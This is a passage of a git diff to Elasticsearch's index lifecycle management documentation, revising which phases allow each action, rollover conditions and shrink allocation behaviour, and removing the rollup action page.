"desc" + } + ] +} +---- +// TEST[setup:my_data_stream] +// TEST[teardown:data_stream_cleanup] diff --git a/docs/reference/ilm/actions/ilm-allocate.asciidoc b/docs/reference/ilm/actions/ilm-allocate.asciidoc index 16ac105bfae73..fbb9a7e075786 100644 --- a/docs/reference/ilm/actions/ilm-allocate.asciidoc +++ b/docs/reference/ilm/actions/ilm-allocate.asciidoc @@ -2,17 +2,17 @@ [[ilm-allocate]] === Allocate -Phases allowed: warm, cold, frozen. +Phases allowed: warm, cold. Updates the index settings to change which nodes are allowed to host the index shards and change the number of replicas. -The allocate action is not allowed in the hot phase. -The initial allocation for the index must be done manually or via +The allocate action is not allowed in the hot phase. +The initial allocation for the index must be done manually or via <>. -You can configure this action to modify both the allocation rules and number of replicas, -only the allocation rules, or only the number of replicas. +You can configure this action to modify both the allocation rules and number of replicas, +only the allocation rules, or only the number of replicas. For more information about how {es} uses replicas for scaling, see <>. See <> for more information about controlling where {es} allocates shards of a particular index. @@ -21,11 +21,11 @@ controlling where {es} allocates shards of a particular index. [[ilm-allocate-options]] ==== Options -You must specify the number of replicas or at least one -`include`, `exclude`, or `require` option. +You must specify the number of replicas or at least one +`include`, `exclude`, or `require` option. An empty allocate action is invalid. -For more information about using custom attributes for shard allocation, +For more information about using custom attributes for shard allocation, see <>. `number_of_replicas`:: @@ -47,7 +47,7 @@ Assigns an index to nodes that have _all_ of the specified custom attributes. [[ilm-allocate-ex]] ==== Example -The allocate action in the following policy changes the index's number of replicas to `2`. +The allocate action in the following policy changes the index's number of replicas to `2`. The index allocation rules are not changed. [source,console] @@ -71,11 +71,11 @@ PUT _ilm/policy/my_policy [[ilm-allocate-assign-index-attribute-ex]] ===== Assign index to nodes using a custom attribute -The allocate action in the following policy assigns the index to nodes +The allocate action in the following policy assigns the index to nodes that have a `box_type` of _hot_ or _warm_. To designate a node's `box_type`, you set a custom attribute in the node configuration. -For example, set `node.attr.box_type: hot` in `elasticsearch.yml`. +For example, set `node.attr.box_type: hot` in `elasticsearch.yml`. For more information, see <>. [source,console] @@ -129,11 +129,11 @@ PUT _ilm/policy/my_policy [[ilm-allocate-assign-index-node-ex]] ===== Assign index to a specific node and update replica settings -The allocate action in the following policy updates the index to have one replica per shard -and be allocated to nodes that have a `box_type` of _cold_. +The allocate action in the following policy updates the index to have one replica per shard +and be allocated to nodes that have a `box_type` of _cold_. To designate a node's `box_type`, you set a custom attribute in the node configuration. -For example, set `node.attr.box_type: cold` in `elasticsearch.yml`. +For example, set `node.attr.box_type: cold` in `elasticsearch.yml`. For more information, see <>. [source,console] diff --git a/docs/reference/ilm/actions/ilm-delete.asciidoc b/docs/reference/ilm/actions/ilm-delete.asciidoc index ec4c582c22635..fbd7f1b0a238a 100644 --- a/docs/reference/ilm/actions/ilm-delete.asciidoc +++ b/docs/reference/ilm/actions/ilm-delete.asciidoc @@ -14,7 +14,7 @@ Permanently removes the index. Deletes the searchable snapshot created in a previous phase. Defaults to `true`. This option is applicable when the <> action is used in the cold phase. +snapshot>> action is used in any previous phase. [[ilm-delete-action-ex]] ==== Example diff --git a/docs/reference/ilm/actions/ilm-freeze.asciidoc b/docs/reference/ilm/actions/ilm-freeze.asciidoc index d3da5f3ccd0f0..51c26ec4e92b1 100644 --- a/docs/reference/ilm/actions/ilm-freeze.asciidoc +++ b/docs/reference/ilm/actions/ilm-freeze.asciidoc @@ -2,9 +2,9 @@ [[ilm-freeze]] === Freeze -Phases allowed: cold, frozen. +Phases allowed: cold. -<> an index to minimize its memory footprint. +<> an index. IMPORTANT: Freezing an index closes the index and reopens it within the same API call. This means that for a short time no primaries are allocated. diff --git a/docs/reference/ilm/actions/ilm-migrate.asciidoc b/docs/reference/ilm/actions/ilm-migrate.asciidoc index b5793aa9904d5..f096fd98815c2 100644 --- a/docs/reference/ilm/actions/ilm-migrate.asciidoc +++ b/docs/reference/ilm/actions/ilm-migrate.asciidoc @@ -2,12 +2,12 @@ [[ilm-migrate]] === Migrate -Phases allowed: warm, cold, frozen. +Phases allowed: warm, cold. Moves the index to the <> that corresponds to the current phase by updating the <> index setting. -{ilm-init} automatically injects the migrate action in the warm, cold, and frozen +{ilm-init} automatically injects the migrate action in the warm and cold phases if no allocation options are specified with the <> action. If you specify an allocate action that only modifies the number of index replicas, {ilm-init} reduces the number of replicas before migrating the index. @@ -30,9 +30,10 @@ to `data_cold,data_warm,data_hot`. This moves the index to nodes in the <>. If there are no nodes in the cold tier, it falls back to the <> tier, or the <> tier if there are no warm nodes available. -In the frozen phase, the `migrate` action sets +The migrate action is not allowed in the frozen phase. The frozen phase directly +mounts the searchable snapshot using a <> -to `data_frozen,data_cold,data_warm,data_hot`. This moves the index to nodes in the +of `data_frozen,data_cold,data_warm,data_hot`. This moves the index to nodes in the <>. If there are no nodes in the frozen tier, it falls back to the <> tier, then the <> tier, then finally the <> tier. diff --git a/docs/reference/ilm/actions/ilm-readonly.asciidoc b/docs/reference/ilm/actions/ilm-readonly.asciidoc index 2b21b62f09e2b..e1997813557bb 100644 --- a/docs/reference/ilm/actions/ilm-readonly.asciidoc +++ b/docs/reference/ilm/actions/ilm-readonly.asciidoc @@ -2,7 +2,7 @@ [[ilm-readonly]] === Read only -Phases allowed: hot, warm, cold, frozen. +Phases allowed: hot, warm, cold. Makes the index <>. diff --git a/docs/reference/ilm/actions/ilm-rollover.asciidoc b/docs/reference/ilm/actions/ilm-rollover.asciidoc index 813341f95133e..dd3aec7fe0ea7 100644 --- a/docs/reference/ilm/actions/ilm-rollover.asciidoc +++ b/docs/reference/ilm/actions/ilm-rollover.asciidoc @@ -4,7 +4,7 @@ Phases allowed: hot. -Rolls over a target to a new index when the existing index meets one of the rollover conditions. +Rolls over a target to a new index when the existing index meets one or more of the rollover conditions. IMPORTANT: If the rollover action is used on a <>, policy execution waits until the leader index rolls over (or is @@ -12,16 +12,16 @@ policy execution waits until the leader index rolls over (or is then converts the follower index into a regular index with the <>. -A rollover target can be a <> or an <>. -When targeting a data stream, the new index becomes the data stream's -<> and its generation is incremented. +A rollover target can be a <> or an <>. When targeting a data stream, the new index becomes the data stream's +write index and its generation is incremented. -To roll over an <>, the alias and its write index -must meet the following conditions: +To roll over an index alias, the alias and its write index must meet the +following conditions: * The index name must match the pattern '^.*-\\d+$', for example (`my-index-000001`). * The `index.lifecycle.rollover_alias` must be configured as the alias to roll over. -* The index must be the <> for the alias. +* The index must be the <> for the alias. For example, if `my-index-000001` has the alias `my_data`, the following settings must be configured. @@ -48,23 +48,24 @@ PUT my-index-000001 You must specify at least one rollover condition. An empty rollover action is invalid. +// tag::rollover-conditions[] `max_age`:: (Optional, <>) -Triggers roll over after the maximum elapsed time from index creation is reached. +Triggers rollover after the maximum elapsed time from index creation is reached. The elapsed time is always calculated since the index creation time, even if the -index origination date is configured to a custom date (via the +index origination date is configured to a custom date, such as when using the <> or -<> settings) +<> settings. `max_docs`:: (Optional, integer) -Triggers roll over after the specified maximum number of documents is reached. +Triggers rollover after the specified maximum number of documents is reached. Documents added since the last refresh are not included in the document count. The document count does *not* include documents in replica shards. `max_size`:: (Optional, <>) -Triggers roll over when the index reaches a certain size. +Triggers rollover when the index reaches a certain size. This is the total size of all primary shards in the index. Replicas are not counted toward the maximum index size. + @@ -73,17 +74,41 @@ The `pri.store.size` value shows the combined size of all primary shards. `max_primary_shard_size`:: (Optional, <>) -Triggers roll over when the largest primary shard in the index reaches a certain size. +Triggers rollover when the largest primary shard in the index reaches a certain size. This is the maximum size of the primary shards in the index. As with `max_size`, replicas are ignored. + TIP: To see the current shard size, use the <> API. The `store` value shows the size each shard, and `prirep` indicates whether a shard is a primary (`p`) or a replica (`r`). +// end::rollover-conditions[] [[ilm-rollover-ex]] ==== Example +[[ilm-rollover-primar-shardsize-ex]] +===== Roll over based on largest primary shard size + +This example rolls the index over when its largest primary shard is at least 50 gigabytes. + +[source,console] +-------------------------------------------------- +PUT _ilm/policy/my_policy +{ + "policy": { + "phases": { + "hot": { + "actions": { + "rollover" : { + "max_primary_shard_size": "50GB" + } + } + } + } + } +} +-------------------------------------------------- + [[ilm-rollover-size-ex]] ===== Roll over based on index size diff --git a/docs/reference/ilm/actions/ilm-rollup.asciidoc b/docs/reference/ilm/actions/ilm-rollup.asciidoc deleted file mode 100644 index 259acaf2981a0..0000000000000 --- a/docs/reference/ilm/actions/ilm-rollup.asciidoc +++ /dev/null @@ -1,92 +0,0 @@ -[role="xpack"] -[[ilm-rollup]] -=== Rollup - -Phases allowed: hot, cold. - -Aggregates an index's time series data and stores the results in a new read-only -index. For example, you can roll up hourly data into daily or weekly summaries. - -This action corresponds to the <>. The name of the -resulting rollup index is `rollup-`. If {ilm-init} performs -the `rollup` action on a backing index for a data stream, the rollup index is a -backing index for the same stream. - -To use the `rollup` action in the hot phase, the <> -action must be present. If no `rollover` action is configured, {ilm-init} will -reject the policy. - -[role="child_attributes"] -[[ilm-rollup-options]] -==== Options - -`config`:: -(Required, object) -Configures the rollup action. -+ -.Properties of `config` -[%collapsible%open] -==== -include::{es-repo-dir}/rollup/apis/rollup-api.asciidoc[tag=rollup-config] -==== - -`rollup_policy`:: -(Optional, string) -Lifecycle policy for the resulting rollup index. If you don't specify a policy, -{ilm-init} will not manage the rollup index. - -[[ilm-rollup-ex]] -==== Example - -//// -[source,console] ----- -PUT _ilm/policy/my-rollup-ilm-policy -{ - "policy": { - "phases": { - "delete": { - "actions": { - "delete" : { } - } - } - } - } -} ----- -//// - -[source,console] ----- -PUT _ilm/policy/my-policy -{ - "policy": { - "phases": { - "cold": { - "actions": { - "rollup": { - "config": { - "groups": { - "date_histogram": { - "field": "@timestamp", - "calendar_interval": "1y" - } - }, - "metrics": [ - { - "field": "my-numeric-field", - "metrics": [ - "avg" - ] - } - ] - }, - "rollup_policy": "my-rollup-ilm-policy" - } - } - } - } - } -} ----- -// TEST[continued] diff --git a/docs/reference/ilm/actions/ilm-searchable-snapshot.asciidoc b/docs/reference/ilm/actions/ilm-searchable-snapshot.asciidoc index 203fc20bc23ac..9dd8bb53e95aa 100644 --- a/docs/reference/ilm/actions/ilm-searchable-snapshot.asciidoc +++ b/docs/reference/ilm/actions/ilm-searchable-snapshot.asciidoc @@ -4,16 +4,16 @@ Phases allowed: hot, cold, frozen. -Takes a snapshot of the managed index in the configured repository -and mounts it as a searchable snapshot. -If the managed index is part of a <>, -the mounted index replaces the original index in the data stream. +Takes a snapshot of the managed index in the configured repository and mounts it +as a <>. -To use the `searchable_snapshot` action in the `hot` phase, the `rollover` -action *must* be present. If no rollover action is configured, {ilm-init} -will reject the policy. +In the frozen phase, the action mounts a <>. In other phases, the action mounts a <>. If the original index is part of a +<>, the mounted index replaces the original index in +the data stream. -IMPORTANT: If the `searchable_snapshot` action is used in the `hot` phase the +IMPORTANT: If the `searchable_snapshot` action is used in the hot phase the subsequent phases cannot define any of the `shrink`, `forcemerge`, `freeze` or `searchable_snapshot` (also available in the cold and frozen phases) actions. @@ -35,8 +35,7 @@ To keep the snapshot, set `delete_searchable_snapshot` to `false` in the delete `snapshot_repository`:: (Required, string) -Specifies where to store the snapshot. -See <> for more information. +<> used to store the snapshot. `force_merge_index`:: (Optional, Boolean) @@ -52,12 +51,6 @@ the shards are relocating, in which case they will not be merged. The `searchable_snapshot` action will continue executing even if not all shards are force merged. -`storage`:: -(Optional, string) -Specifies the type of snapshot that should be mounted for a searchable snapshot. This corresponds to -the <>. -Defaults to `full_copy` in non-frozen phases, or `shared_cache` in the frozen phase. - [[ilm-searchable-snapshot-ex]] ==== Examples [source,console] @@ -69,8 +62,7 @@ PUT _ilm/policy/my_policy "cold": { "actions": { "searchable_snapshot" : { - "snapshot_repository" : "backing_repo", - "storage": "shared_cache" + "snapshot_repository" : "backing_repo" } } } diff --git a/docs/reference/ilm/actions/ilm-set-priority.asciidoc b/docs/reference/ilm/actions/ilm-set-priority.asciidoc index 369dc818d5a5d..08f2eec1c599c 100644 --- a/docs/reference/ilm/actions/ilm-set-priority.asciidoc +++ b/docs/reference/ilm/actions/ilm-set-priority.asciidoc @@ -2,14 +2,14 @@ [[ilm-set-priority]] === Set priority -Phases allowed: hot, warm, cold, frozen. +Phases allowed: hot, warm, cold. Sets the <> of the index as -soon as the policy enters the hot, warm, cold, or frozen phase. -Higher priority indices are recovered before indices with lower priorities following a node restart. +soon as the policy enters the hot, warm, or cold phase. +Higher priority indices are recovered before indices with lower priorities following a node restart. Generally, indexes in the hot phase should have the highest value and -indexes in the cold phase should have the lowest values. +indexes in the cold phase should have the lowest values. For example: 100 for the hot phase, 50 for the warm phase, and 0 for the cold phase. Indices that don't set this value have a default priority of 1. @@ -17,8 +17,8 @@ Indices that don't set this value have a default priority of 1. ==== Options `priority`:: -(Required, integer) -The priority for the index. +(Required, integer) +The priority for the index. Must be 0 or greater. Set to `null` to remove the priority. diff --git a/docs/reference/ilm/actions/ilm-shrink.asciidoc b/docs/reference/ilm/actions/ilm-shrink.asciidoc index 5f13ec9aace74..e29b975771aac 100644 --- a/docs/reference/ilm/actions/ilm-shrink.asciidoc +++ b/docs/reference/ilm/actions/ilm-shrink.asciidoc @@ -4,41 +4,29 @@ Phases allowed: hot, warm. -Sets an index to <> -and shrinks it into a new index with fewer primary shards. -The name of the new index is of the form `shrink-`. -For example, if the name of the source index is _logs_, -the name of the shrunken index is _shrink-logs_. +Sets a source index to <> and shrinks it into +a new index with fewer primary shards. The name of the resulting index is +`shrink--`. This action corresponds to the +<>. -The shrink action allocates all primary shards of the index to one node so it -can call the <> to shrink the index. -After shrinking, it swaps aliases that point to the original index to the new shrunken index. +After the `shrink` action, any aliases that pointed to the source index point to +the new shrunken index. If {ilm-init} performs the `shrink` action on a backing +index for a data stream, the shrunken index replaces the source index in the +stream. You cannot perform the `shrink` action on a write index. -To use the `shrink` action in the `hot` phase, the `rollover` action *must* be present. -If no rollover action is configured, {ilm-init} will reject the policy. +To use the `shrink` action in the `hot` phase, the `rollover` action *must* be +present. If no rollover action is configured, {ilm-init} will reject the policy. [IMPORTANT] -If the shrink action is used on a <>, -policy execution waits until the leader index rolls over (or is -<>), -then converts the follower index into a regular index with the -<> action before performing the shrink operation. - -If the managed index is part of a <>, -the shrunken index replaces the original index in the data stream. - -[NOTE] -This action cannot be performed on a data stream's write index. Attempts to do -so will fail. To shrink the index, first -<> the data stream. This -creates a new write index. Because the index is no longer the stream's write -index, the action can resume shrinking it. -Using a policy that makes use of the <> action -in the hot phase will avoid this situation and the need for a manual rollover for future -managed indices. +If the shrink action is used on a <>, policy +execution waits until the leader index rolls over (or is <>), then converts the follower index into a regular +index with the <> action before performing the shrink +operation. [[ilm-shrink-options]] ==== Shrink options + `number_of_shards`:: (Optional, integer) Number of shards to shrink to. @@ -83,8 +71,11 @@ PUT _ilm/policy/my_policy -------------------------------------------------- [[ilm-shrink-size-ex]] -===== Calculate the number of shards of the new shrunken index based on the storage of the -source index and the `max_primary_shard_size` parameter +===== Calculate the optimal number of primary shards for a shrunken index + +The following policy uses the `max_primary_shard_size` parameter to +automatically calculate the new shrunken index's primary shard count based on +the source index's storage size. [source,console] -------------------------------------------------- @@ -103,3 +94,27 @@ PUT _ilm/policy/my_policy } } -------------------------------------------------- + +[[ilm-shrink-shard-allocation]] +==== Shard allocation for shrink + +During a `shrink` action, {ilm-init} allocates the source index's primary shards +to one node. After shrinking the index, {ilm-init} reallocates the shrunken +index's shards to the appropriate nodes based on your allocation rules. + +These allocation steps can fail for several reasons, including: + +* A node is removed during the `shrink` action. +* No node has enough disk space to host the source index's shards. +* {es} cannot reallocate the shrunken index due to conflicting allocation rules. + +When one of the allocation steps fails, {ilm-init} waits for the period set in +<>, +which defaults to 12 hours. This threshold period lets the cluster resolve any +issues causing the allocation failure. + +If the threshold period passes and {ilm-init} has not yet shrunk the index, +{ilm-init} attempts to allocate the source index's primary shards to another +node. If {ilm-init} shrunk the index but could not reallocate the shrunken +index's shards during the threshold period, {ilm-init} deletes the shrunken +index and re-attempts the entire `shrink` action. diff --git a/docs/reference/ilm/apis/explain.asciidoc b/docs/reference/ilm/apis/explain.asciidoc index 003d10af6c0c7..6185ba0849bfb 100644 --- a/docs/reference/ilm/apis/explain.asciidoc +++ b/docs/reference/ilm/apis/explain.asciidoc @@ -34,11 +34,9 @@ about any failures. ==== {api-path-parms-title} ``:: -(Required, string) -Comma-separated list of data streams, indices, and index aliases to target. -Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, use `_all` or `*`. +(Required, string) Comma-separated list of data streams, indices, and aliases to +target. Supports wildcards (`*`).To target all data streams and indices, use `*` +or `_all`. [[ilm-explain-lifecycle-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/ilm/apis/put-lifecycle.asciidoc b/docs/reference/ilm/apis/put-lifecycle.asciidoc index f53618204376d..cef74ac620473 100644 --- a/docs/reference/ilm/apis/put-lifecycle.asciidoc +++ b/docs/reference/ilm/apis/put-lifecycle.asciidoc @@ -1,9 +1,9 @@ [role="xpack"] [testenv="basic"] [[ilm-put-lifecycle]] -=== Create lifecycle policy API +=== Create or update lifecycle policy API ++++ -Create policy +Create or update lifecycle policy ++++ Creates or updates lifecycle policy. See <> for diff --git a/docs/reference/ilm/apis/remove-policy-from-index.asciidoc b/docs/reference/ilm/apis/remove-policy-from-index.asciidoc index 1826dc1e6f50d..c682038fb264e 100644 --- a/docs/reference/ilm/apis/remove-policy-from-index.asciidoc +++ b/docs/reference/ilm/apis/remove-policy-from-index.asciidoc @@ -34,11 +34,9 @@ the stream's backing indices and stops managing the indices. ==== {api-path-parms-title} ``:: -(Required, string) -Comma-separated list of data streams, indices, and index aliases to target. -Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, use `_all` or `*`. +(Required, string) Comma-separated list of data streams, indices, and aliases to +target. Supports wildcards (`*`). To target all data streams and indices, use +`*` or `_all`. [[ilm-remove-policy-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/ilm/example-index-lifecycle-policy.asciidoc b/docs/reference/ilm/example-index-lifecycle-policy.asciidoc index f5f3da9f6e276..230748afdf4f7 100644 --- a/docs/reference/ilm/example-index-lifecycle-policy.asciidoc +++ b/docs/reference/ilm/example-index-lifecycle-policy.asciidoc @@ -12,7 +12,7 @@ - `metrics` - `synthetics` -The {agent} uses these policies to manage backing indices for its data streams. +{agent} uses these policies to manage backing indices for its data streams. This tutorial shows you how to use {kib}’s **Index Lifecycle Policies** to customize these policies based on your application's performance, resilience, and retention requirements. @@ -44,9 +44,8 @@ To complete this tutorial, you'll need: * An {es} cluster with hot and warm data tiers. ** {ess}: -Elastic Stack deployments on the {ess} include a hot tier by default. To add a -warm tier, edit your deployment and click **Add capacity** for the warm data -tier. +Elastic Stack deployments on {ess} include a hot tier by default. To add a warm +tier, edit your deployment and click **Add capacity** for the warm data tier. + [role="screenshot"] image::images/ilm/tutorial-ilm-ess-add-warm-data-tier.png[Add a warm data tier to your deployment] @@ -63,14 +62,14 @@ of each node in the warm tier: node.roles: [ data_warm ] ---- -* A host with the {agent} installed and configured to send logs to your {es} +* A host with {agent} installed and configured to send logs to your {es} cluster. [discrete] [[example-using-index-lifecycle-policy-view-ilm-policy]] ==== View the policy -The {agent} uses data streams with an index pattern of `logs-*-*` to store log +{agent} uses data streams with an index pattern of `logs-*-*` to store log monitoring data. The built-in `logs` {ilm-init} policy automatically manages backing indices for these data streams. diff --git a/docs/reference/ilm/ilm-actions.asciidoc b/docs/reference/ilm/ilm-actions.asciidoc index 1b632ee7510c1..4b3e456d00230 100644 --- a/docs/reference/ilm/ilm-actions.asciidoc +++ b/docs/reference/ilm/ilm-actions.asciidoc @@ -28,12 +28,6 @@ Block write operations to the index. Remove the index as the write index for the rollover alias and start indexing to a new index. -ifdef::permanently-unreleased-branch[] -<>:: -Aggregates an index's time series data and stores the results in a new read-only -index. For example, you can roll up hourly data into daily or weekly summaries. -endif::[] - <>:: Take a snapshot of the managed index in the configured repository and mount it as a searchable snapshot. @@ -59,9 +53,6 @@ include::actions/ilm-freeze.asciidoc[] include::actions/ilm-migrate.asciidoc[] include::actions/ilm-readonly.asciidoc[] include::actions/ilm-rollover.asciidoc[] -ifdef::permanently-unreleased-branch[] -include::actions/ilm-rollup.asciidoc[] -endif::[] include::actions/ilm-searchable-snapshot.asciidoc[] include::actions/ilm-set-priority.asciidoc[] include::actions/ilm-shrink.asciidoc[] diff --git a/docs/reference/ilm/ilm-index-lifecycle.asciidoc b/docs/reference/ilm/ilm-index-lifecycle.asciidoc index bfb7e3368bf13..3c27959f0adfb 100644 --- a/docs/reference/ilm/ilm-index-lifecycle.asciidoc +++ b/docs/reference/ilm/ilm-index-lifecycle.asciidoc @@ -16,13 +16,13 @@ needs to be searchable, but it's okay if those queries are slower. needs to be searchable, but it's okay if those queries are extremely slow. * **Delete**: The index is no longer needed and can safely be removed. -An index's _lifecycle policy_ specifies which phases +An index's _lifecycle policy_ specifies which phases are applicable, what actions are performed in each phase, and when it transitions between phases. -You can manually apply a lifecycle policy when you create an index. +You can manually apply a lifecycle policy when you create an index. For time series indices, you need to associate the lifecycle policy with -the index template used to create new indices in the series. +the index template used to create new indices in the series. When an index rolls over, a manually-applied policy isn't automatically applied to the new index. If you use {es}'s security features, {ilm-init} performs operations as the user @@ -34,18 +34,20 @@ update. [[ilm-phase-transitions]] === Phase transitions -{ilm-init} moves indices through the lifecycle according to their age. -To control the timing of these transitions, you set a _minimum age_ for each phase. -For an index to move to the next phase, all actions in the current phase must be complete and -the index must be older than the minimum age of the next phase. +{ilm-init} moves indices through the lifecycle according to their age. +To control the timing of these transitions, you set a _minimum age_ for each phase. For an index to +move to the next phase, all actions in the current phase must be complete and the index must be +older than the minimum age of the next phase. Configured minimum ages must increase between +subsequent phases, for example, a "warm" phase with a minimum age of 10 days can only be followed by +a "cold" phase with a minimum age either unset, or >= 10 days. The minimum age defaults to zero, which causes {ilm-init} to move indices to the next phase -as soon as all actions in the current phase complete. +as soon as all actions in the current phase complete. -If an index has unallocated shards and the <> is yellow, +If an index has unallocated shards and the <> is yellow, the index can still transition to the next phase according to its {ilm} policy. However, because {es} can only perform certain clean up tasks on a green -cluster, there might be unexpected side effects. +cluster, there might be unexpected side effects. To avoid increased disk usage and reliability issues, address any cluster health problems in a timely fashion. @@ -61,18 +63,18 @@ what _steps_ are executed to perform the necessary index operations for each act When an index enters a phase, {ilm-init} caches the phase definition in the index metadata. This ensures that policy updates don't put the index into a state where it can never exit the phase. If changes can be safely applied, {ilm-init} updates the cached phase definition. -If they cannot, phase execution continues using the cached definition. +If they cannot, phase execution continues using the cached definition. -{ilm-init} runs periodically, checks to see if an index meets policy criteria, -and executes whatever steps are needed. +{ilm-init} runs periodically, checks to see if an index meets policy criteria, +and executes whatever steps are needed. To avoid race conditions, {ilm-init} might need to run more than once to execute all of the steps required to complete an action. -For example, if {ilm-init} determines that an index has met the rollover criteria, -it begins executing the steps required to complete the rollover action. -If it reaches a point where it is not safe to advance to the next step, execution stops. -The next time {ilm-init} runs, {ilm-init} picks up execution where it left off. +For example, if {ilm-init} determines that an index has met the rollover criteria, +it begins executing the steps required to complete the rollover action. +If it reaches a point where it is not safe to advance to the next step, execution stops. +The next time {ilm-init} runs, {ilm-init} picks up execution where it left off. This means that even if `indices.lifecycle.poll_interval` is set to 10 minutes and an index meets -the rollover criteria, it could be 20 minutes before the rollover is complete. +the rollover criteria, it could be 20 minutes before the rollover is complete. [discrete] [[ilm-phase-actions]] @@ -87,9 +89,6 @@ the rollover criteria, it could be 20 minutes before the rollover is complete. - <> - <> - <> -ifdef::permanently-unreleased-branch[] - - <> -endif::[] * Warm - <> - <> @@ -104,16 +103,8 @@ endif::[] - <> - <> - <> -ifdef::permanently-unreleased-branch[] - - <> -endif::[] - <> * Frozen - - <> - - <> - - <> - - <> - - <> - <> * Delete - <> diff --git a/docs/reference/ilm/ilm-overview.asciidoc b/docs/reference/ilm/ilm-overview.asciidoc index c67db1a90bf68..ced0e05e4868b 100644 --- a/docs/reference/ilm/ilm-overview.asciidoc +++ b/docs/reference/ilm/ilm-overview.asciidoc @@ -18,8 +18,7 @@ include::../glossary.asciidoc[tag=rollover-def-short] include::../glossary.asciidoc[tag=shrink-def-short] * **Force merge**: include::../glossary.asciidoc[tag=force-merge-def-short] -* **Freeze**: -include::../glossary.asciidoc[tag=freeze-def-short] +* **Freeze**: <> an index and makes it read-only. * **Delete**: Permanently remove an index, including all of its data and metadata. {ilm-init} makes it easier to manage indices in hot-warm-cold architectures, diff --git a/docs/reference/ilm/ilm-skip-rollover.asciidoc b/docs/reference/ilm/ilm-skip-rollover.asciidoc index feaea73fec8cb..9ca8d491b5e8a 100644 --- a/docs/reference/ilm/ilm-skip-rollover.asciidoc +++ b/docs/reference/ilm/ilm-skip-rollover.asciidoc @@ -9,7 +9,7 @@ It's set automatically by {ilm-init} when the rollover action completes successf You can set it manually to skip rollover if you need to make an exception to your normal lifecycle policy and update the alias to force a roll over, but want {ilm-init} to continue to manage the index. -If you use the rollover API. It is not necessary to configure this setting manually. +If you use the rollover API, it is not necessary to configure this setting manually. If an index's lifecycle policy is removed, this setting is also removed. @@ -25,7 +25,7 @@ previously-indexed data in accordance with your configured policy, you can: . Create a template for the new index pattern that uses the same policy. . Bootstrap the initial index. . Change the write index for the alias to the bootstrapped index -using the <> API. +using the <>. . Set `index.lifecycle.indexing_complete` to `true` on the old index to indicate that it does not need to be rolled over. diff --git a/docs/reference/ilm/ilm-tutorial.asciidoc b/docs/reference/ilm/ilm-tutorial.asciidoc index 7284e28e5e94c..e17951c650b85 100644 --- a/docs/reference/ilm/ilm-tutorial.asciidoc +++ b/docs/reference/ilm/ilm-tutorial.asciidoc @@ -51,12 +51,12 @@ and the actions to perform in each phase. A lifecycle can have up to five phases For example, you might define a `timeseries_policy` that has two phases: * A `hot` phase that defines a rollover action to specify that an index rolls over when it -reaches either a `max_size` of 50 gigabytes or a `max_age` of 30 days. +reaches either a `max_primary_shard_size` of 50 gigabytes or a `max_age` of 30 days. * A `delete` phase that sets `min_age` to remove the index 90 days after rollover. Note that this value is relative to the rollover time, not the index creation time. You can create the policy through {kib} or with the -<> API. +<> API. To create the policy from {kib}, open the menu and go to *Stack Management > Index Lifecycle Policies*. Click *Create policy*. @@ -72,18 +72,18 @@ PUT _ilm/policy/timeseries_policy { "policy": { "phases": { - "hot": { <1> + "hot": { <1> "actions": { "rollover": { - "max_size": "50GB", <2> + "max_primary_shard_size": "50GB", <2> "max_age": "30d" } } }, "delete": { - "min_age": "90d", <3> + "min_age": "90d", <3> "actions": { - "delete": {} <4> + "delete": {} <4> } } } @@ -116,8 +116,8 @@ Templates* tab, click *Create template*. image::images/data-streams/create-index-template.png[Create template page] -This wizard invokes the <> to create -the index template with the options you specify. +This wizard invokes the <> to create the index template with the options you specify. .API example [%collapsible] @@ -232,7 +232,7 @@ is met. "min_age": "0ms", "actions": { "rollover": { - "max_size": "50gb", + "max_primary_shard_size": "50gb", "max_age": "30d" } } diff --git a/docs/reference/ilm/index-rollover.asciidoc b/docs/reference/ilm/index-rollover.asciidoc index 42350ed13c9b9..a73d7ca889310 100644 --- a/docs/reference/ilm/index-rollover.asciidoc +++ b/docs/reference/ilm/index-rollover.asciidoc @@ -27,8 +27,9 @@ Each data stream requires an <> that contains: Data streams are designed for append-only data, where the data stream name can be used as the operations (read, write, rollover, shrink etc.) target. -If your use case requires data to be updated in place, you can instead manage your time series data using <>. However, there are a few more configuration steps and -concepts: +If your use case requires data to be updated in place, you can instead manage +your time series data using <>. However, there are a few +more configuration steps and concepts: * An _index template_ that specifies the settings for each new index in the series. You optimize this configuration for ingestion, typically using as many shards as you have hot nodes. diff --git a/docs/reference/ilm/index.asciidoc b/docs/reference/ilm/index.asciidoc index 550608916d8f2..73007c3674c18 100644 --- a/docs/reference/ilm/index.asciidoc +++ b/docs/reference/ilm/index.asciidoc @@ -5,23 +5,23 @@ [partintro] -- -You can configure {ilm} ({ilm-init}) policies to automatically manage indices -according to your performance, resiliency, and retention requirements. +You can configure {ilm} ({ilm-init}) policies to automatically manage indices +according to your performance, resiliency, and retention requirements. For example, you could use {ilm-init} to: * Spin up a new index when an index reaches a certain size or number of documents * Create a new index each day, week, or month and archive previous ones * Delete stale indices to enforce data retention standards - + You can create and manage index lifecycle policies through {kib} Management or the {ilm-init} APIs. -When you enable {ilm} for {beats} or the {ls} {es} output plugin, +When you enable {ilm} for {beats} or the {ls} {es} output plugin, default policies are configured automatically. [role="screenshot"] image:images/ilm/index-lifecycle-policies.png[] [TIP] -To automatically back up your indices and manage snapshots, +To automatically back up your indices and manage snapshots, use <>. * <> @@ -29,6 +29,7 @@ use < * <> * <> * <> +* <> * <> * <> * <> @@ -50,6 +51,8 @@ include::ilm-actions.asciidoc[] include::set-up-lifecycle-policy.asciidoc[] +include::../data-management/migrate-index-allocation-filters.asciidoc[] + include::error-handling.asciidoc[] include::start-stop.asciidoc[] diff --git a/docs/reference/ilm/set-up-lifecycle-policy.asciidoc b/docs/reference/ilm/set-up-lifecycle-policy.asciidoc index bfef64f624557..c22135fce8c91 100644 --- a/docs/reference/ilm/set-up-lifecycle-policy.asciidoc +++ b/docs/reference/ilm/set-up-lifecycle-policy.asciidoc @@ -35,7 +35,8 @@ image:images/ilm/create-policy.png[Create policy page] You specify the lifecycle phases for the policy and the actions to perform in each phase. -The <> API is invoked to add the policy to the {es} cluster. +The <> API is invoked to add the +policy to the {es} cluster. .API example [%collapsible] @@ -49,7 +50,7 @@ PUT _ilm/policy/my_policy "hot": { "actions": { "rollover": { - "max_size": "25GB" <1> + "max_primary_shard_size": "25GB" <1> } } }, @@ -83,7 +84,8 @@ wizard, open the menu and go to *Stack Management > Index Management*. In the [role="screenshot"] 